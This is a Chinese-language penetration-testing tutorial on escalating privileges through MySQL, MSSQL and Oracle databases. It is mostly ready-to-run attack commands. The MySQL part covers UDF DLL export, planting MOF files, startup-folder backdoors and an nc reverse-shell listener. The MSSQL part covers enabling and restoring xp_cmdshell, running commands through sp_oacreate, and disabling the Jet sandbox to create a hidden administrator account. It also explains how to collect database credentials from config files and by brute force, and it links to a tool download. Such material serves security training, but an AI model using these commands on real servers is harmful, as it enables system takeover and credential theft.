权限提升-MY&MS&ORA等SQL数据库提权
在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,但需要知道数据库提权的前提条件:服务器开启数据库服务及获取到最高权限用户密码。除Access数据库外,其他数据库基本都存在数据库提权的可能。
数据库应用提权在权限提升中的意义
#WEB或本地环境如何探针数据库应用
#数据库提权权限用户密码收集等方法
#目前数据库提权对应的技术及方法等
演示案例:
- Mysql数据库提权演示-脚本&MSF
案例:MYSQL数据库提权演示-脚本&MSF
流程:服务探针-信息收集-提权利用-获取权限
1.UDF提权知识点:(基于MYSQL调用命令执行函数)
读取网站数据库配置文件(了解其命名规则及查找技巧)
sql data inc config conn database common include等
读取数据库存储或备份文件(了解其数据库存储格式及对应内容)
@@basedir/data/数据库名/表名.myd
利用脚本暴力猜解(了解数据库是否支持外联及如何开启外联)
远程本地暴力猜解,服务器本地暴力猜解
利用自定义执行函数导出dll文件进行命令执行
select version() select @@basedir
手工创建plugin目录或利用NTFS流创建
select ‘x’ into dumpfile ‘目录/lib/plugin::INDEX_ALLOCATION’;
1.mysql<5.1 导出目录c:/windows或system32
2.mysql=>5.1 导出安装目录/lib/plugin/
2.MOF知识点:(基于MYSQL特性的安全问题)
导出自定义mof文件到系统目录加载
https://www.cnblogs.com/xishaonian/p/6384535.html
select load_file(‘C:/phpStudy/PHPTutorial/WWW/user_add.mof
‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
3.启动项知识点:(基于配合操作系统自启动)
导出自定义可执行文件到启动目录配合重启执行
将创建好的后门或执行文件进行服务器启动项写入,配合重启执行!
4.反弹知识点:(基于利用反弹特性命令执行)
nc -l -p 5577
- Mssql数据库提权演示-连接客户端
案例:MSSQL数据库提权演示-MSSQL客户端
流程:服务探针-信息收集-提权利用-获取权限
1.使用xp_cmdshell进行提权
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。
启用:
EXEC sp_configure ‘show advanced options’, 1
RECONFIGURE;
EXEC sp_configure ‘xp_cmdshell’, 1;
RECONFIGURE;
关闭:
exec sp_configure ‘show advanced options’, 1;
reconfigure;
exec sp_configure ‘xp_cmdshell’, 0;
reconfigure;
执行:
EXEC master.dbo.xp_cmdshell ‘命令’
如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc ‘xp_cmdshell’, ‘C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll’
2.使用sp_oacreate进行提权
主要是用来调用OLE对象,利用OLE对象的run方法执行系统命令。
启用:
EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘Ole Automation Procedures’, 1;
RECONFIGURE WITH OVERRIDE;
关闭:
EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘Ole Automation Procedures’, 0;
RECONFIGURE WITH OVERRIDE;
执行:
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe /c whoami >c:\1.txt’
3.使用SQL Server 沙盒提权
参考资料:https://blog.51cto.com/11797152/2411770
exec sp_configure ‘show advanced options’,1;reconfigure;
— 不开启的话在执行xp_regwrite会提示让我们开启,
exec sp_configure ‘Ad Hoc Distributed Queries’,1;reconfigure;
—关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,0;
—查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’, ‘SandBoxMode’
—执行系统命令select from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:/windows/system32/ias/ias.mdb’,’select shell(“net user margin margin /add”)’)
select from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:/windows/system32/ias/ias.mdb’,’select shell(“net localgroup administrators margin /add”)’)
沙盒模式SandBoxMode参数含义(默认是2)0
:在任何所有者中禁止启用安全模式1
:为仅在允许范围内2
:必须在access模式下3
:完全开启
openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。
—恢复配置
—exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,1;
—exec sp_configure ‘Ad Hoc Distributed Queries’,0;reconfigure;
—exec sp_configure ‘show advanced options’,0;reconfigure;
- Oracle数据库提权演示-自动化工具
普通用户模式:
前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。
DBA用户模式:(自动化工具演示)
拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。
注入提升模式:(sqlmap测试演示)
拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显,需要自己验证。
涉及资源:
https://pan.baidu.com/s/1pcrnxFox0pJaRVgOue1VOQ 提取码:xiao